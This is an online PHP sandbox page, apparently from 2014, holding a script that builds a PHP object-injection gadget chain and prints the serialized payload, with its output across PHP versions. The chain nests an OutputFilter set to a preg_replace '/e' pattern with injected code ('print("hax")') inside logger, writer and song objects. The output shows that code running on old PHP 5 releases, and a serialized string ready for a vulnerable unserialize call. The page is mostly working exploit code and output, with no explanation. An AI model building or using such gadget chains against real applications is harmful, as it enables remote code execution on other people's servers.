@ 2014-04-14T23:41:00Z <?php
class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};
class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};
class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
}
};
class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};
class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name; $this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/.*/e", "print(\"hax\")");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
$this->logger->log("this is log");
}
}
class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
};
$kek = new Song("manyname", "sogroup", "wowhttp");
$lyr = new Lyrics("same old kid", $kek);
$uus = array($lyr);
echo serialize($uus);
Enable javascript to submit You have javascript disabled. You will not be able to edit any code.
Output for 8.1.0 - 8.1.28 , 8.2.0 - 8.2.18 , 8.3.0 - 8.3.6 Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/c2t8m on line 11
Deprecated: str_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /in/c2t8m on line 26
a:1:{i:0;O:6:"Lyrics":2:{s:9:" * lyrics";s:12:"same old kid";s:7:" * song";O:4:"Song":4:{s:9:" * logger";O:6:"Logger":1:{s:12:" * logwriter";O:14:"LogWriter_File":2:{s:11:" * filename";N;s:9:" * format";O:13:"LogFileFormat":2:{s:10:" * filters";a:1:{i:0;O:12:"OutputFilter":2:{s:15:" * matchPattern";s:5:"/.*/e";s:14:" * replacement";s:12:"print("hax")";}}s:7:" * endl";s:1:"
";}}}s:7:" * name";s:8:"manyname";s:8:" * group";s:7:"sogroup";s:6:" * url";s:7:"wowhttp";}}} Output for 7.0.0 - 7.0.20 , 7.1.0 - 7.1.33 , 7.2.6 - 7.2.33 , 7.3.0 - 7.3.33 , 7.4.0 - 7.4.33 , 8.0.0 - 8.0.30 Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/c2t8m on line 11
a:1:{i:0;O:6:"Lyrics":2:{s:9:" * lyrics";s:12:"same old kid";s:7:" * song";O:4:"Song":4:{s:9:" * logger";O:6:"Logger":1:{s:12:" * logwriter";O:14:"LogWriter_File":2:{s:11:" * filename";N;s:9:" * format";O:13:"LogFileFormat":2:{s:10:" * filters";a:1:{i:0;O:12:"OutputFilter":2:{s:15:" * matchPattern";s:5:"/.*/e";s:14:" * replacement";s:12:"print("hax")";}}s:7:" * endl";s:1:"
";}}}s:7:" * name";s:8:"manyname";s:8:" * group";s:7:"sogroup";s:6:" * url";s:7:"wowhttp";}}} Output for 5.5.24 - 5.5.35 , 5.6.8 - 5.6.28 Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/c2t8m on line 11
haxhaxa:1:{i:0;O:6:"Lyrics":2:{s:9:" * lyrics";s:12:"same old kid";s:7:" * song";O:4:"Song":4:{s:9:" * logger";O:6:"Logger":1:{s:12:" * logwriter";O:14:"LogWriter_File":2:{s:11:" * filename";N;s:9:" * format";O:13:"LogFileFormat":2:{s:10:" * filters";a:1:{i:0;O:12:"OutputFilter":2:{s:15:" * matchPattern";s:5:"/.*/e";s:14:" * replacement";s:12:"print("hax")";}}s:7:" * endl";s:1:"
";}}}s:7:" * name";s:8:"manyname";s:8:" * group";s:7:"sogroup";s:6:" * url";s:7:"wowhttp";}}} Output for 5.0.0 - 5.0.5 , 5.1.0 - 5.1.6 , 5.2.0 - 5.2.17 , 5.3.0 - 5.3.29 , 5.4.0 - 5.4.45 haxhaxa:1:{i:0;O:6:"Lyrics":2:{s:9:" * lyrics";s:12:"same old kid";s:7:" * song";O:4:"Song":4:{s:9:" * logger";O:6:"Logger":1:{s:12:" * logwriter";O:14:"LogWriter_File":2:{s:11:" * filename";N;s:9:" * format";O:13:"LogFileFormat":2:{s:10:" * filters";a:1:{i:0;O:12:"OutputFilter":2:{s:15:" * matchPattern";s:5:"/.*/e";s:14:" * replacement";s:12:"print("hax")";}}s:7:" * endl";s:1:"
";}}}s:7:" * name";s:8:"manyname";s:8:" * group";s:7:"sogroup";s:6:" * url";s:7:"wowhttp";}}} Output for 4.4.2 - 4.4.9 Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/c2t8m on line 4
Process exited with code 255 . Output for 4.3.0 - 4.3.1 , 4.3.5 - 4.3.11 , 4.4.0 - 4.4.1 Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/c2t8m on line 4
Process exited with code 255 . Output for 4.3.2 - 4.3.4 Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' in /in/c2t8m on line 4
Process exited with code 255 . preferences:dark mode live preview
231.71 ms | 401 KiB | 341 Q